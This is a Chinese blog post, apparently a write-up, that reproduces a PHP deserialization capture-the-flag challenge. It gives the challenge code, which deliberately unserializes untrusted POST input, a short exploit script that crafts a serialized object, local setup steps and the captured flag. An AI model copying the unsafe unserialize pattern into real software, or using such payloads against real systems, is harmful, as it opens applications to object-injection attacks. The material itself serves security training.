当前位置: 首页 > news >正文

PHP反序列化的CTF题目环境和做题复现第1集

1 通过post参数提交反序列信息

2 题目

http://192.168.1.8/fxl1/fxl1.php

<?php
highlight_file(__FILE__);class ezUnserialize{public $key;public function __destruct(){if($this->key == "FLAG"){include('flag.php');echo $flag;}}
}
unserialize($_POST['a']);
?>

3 EXP

<?php
<?php
class ezUnserialize{public $key;public function __construct($a){$this->key = $a;}
}
$obj = new ezUnserialize("FLAG");
echo serialize($obj);
?>

4 解题过程

4.0.1 在wsl的ubuntu上安装php环境

Step 1: Remove Existing PHP Versions
First, let’s clean up any existing PHP 7.x installations:sudo apt-get purge php7.*
sudo apt-get autoclean
sudo apt-get autoremove
Note about these commands:autoclean removes obsolete package files from your cache
autoremove removes dependencies that are no longer needed
Using purge removes both packages and their configuration files
Step 2: Add the PHP Repository
Ondřej Surý maintains up-to-date PHP packages for Ubuntu:sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
Step 3: Install PHP 7.3
Now install PHP 7.3 and common extensions:sudo apt-get install php7.3
Step 4: Configure Apache (if using Apache)
If you’re using Apache as your web server:# Disable old PHP module (if any)
sudo a2dismod php7.0  # or whatever version you had before# Enable PHP 7.3
sudo a2enmod php7.3
sudo systemctl restart apache2

4.0.2 /var/www/html配置普通账户可读可写可执行权限

(base) gpu3090@DESKTOP-8IU6393:~$ chown  gpu3090 /var/www/html
chown: changing ownership of '/var/www/html': Operation not permitted
(base) gpu3090@DESKTOP-8IU6393:~$ sudo chown  gpu3090 /var/www/html
(base) gpu3090@DESKTOP-8IU6393:~$ ls
M5-应用集成  anaconda3  cookies.txt  downloads  snap  summaries  tmpg00x95ve.mp3
(base) gpu3090@DESKTOP-8IU6393:~$

4.0.3 将题目代码和flag存放到/var/www/html/相应的位置

在这里插入图片描述

4.1 在vscode上运行上面的exp的php脚本

需要安装插件php debug 和php Server

在这里插入图片描述

4.2 vscode运行exp 的php脚本

在这里插入图片描述

4.3 通过hackbar的post功能提交

在这里插入图片描述

4.得到flag

flag{EzUns3ri4liZe_1s_g00d}

http://www.xdnf.cn/news/1312669.html

相关文章:

  • 软件的终极:为70亿人编写70亿个不同的软件
  • Sklearn 机器学习 邮件文本分类 加载邮件数据
  • Netty 的 Select/Poll 机制核心实现主要在 NioEventLoop 的事件循环
  • 同创物流学习记录1
  • 【论文阅读】Multimodal Graph Contrastive Learning for Multimedia-based Recommendation
  • 从冒泡到快速排序:探索经典排序算法的奥秘(二)
  • 如果构建企业本地的ERP智能ai系统,让先进的大模型数据处理ERP的各类数据,更加轻松智能,准确?从企业资源计划ERP变成企业资源智能EPA的升级
  • 基本电子元件:金属氧化膜电阻器
  • 玩转tokenizer
  • vscode中用python调用matlab的函数(环境安装)
  • SpringSecurity(一)入门
  • Winsows系统去除右键文件显示的快捷列表
  • 【完整源码+数据集+部署教程】高尔夫球追踪与识别系统源码和数据集:改进yolo11-LAWDS
  • Hexo 双分支部署指南:从原理到 Netlify 实战
  • C# 应用特性的更多内容:多维度解析与深度拓展
  • 启发式合并 + 莫队 恋恋的心跳大冒险
  • 设计索引的原则有哪些?
  • 八、SpringBoot项目热部署
  • 嵌入式硬件篇---电源电路
  • pwn定时器,ARM定时delay 外部中断用函数指针(统一)day55,56
  • 19.3 Transformers量化模型极速加载指南:4倍推理加速+75%显存节省实战
  • 头文件包含和前置声明
  • 什么是微前端?
  • 超越Transformer:大模型架构创新的深度探索
  • 数据结构:二叉平衡树
  • OpenCV 图像处理基础操作指南(二)
  • ClickHouse的学习与了解
  • 概率论基础教程第3章条件概率与独立性(三)
  • Linux sar命令详细使用指南
  • Qt 动态属性(Dynamic Property)详解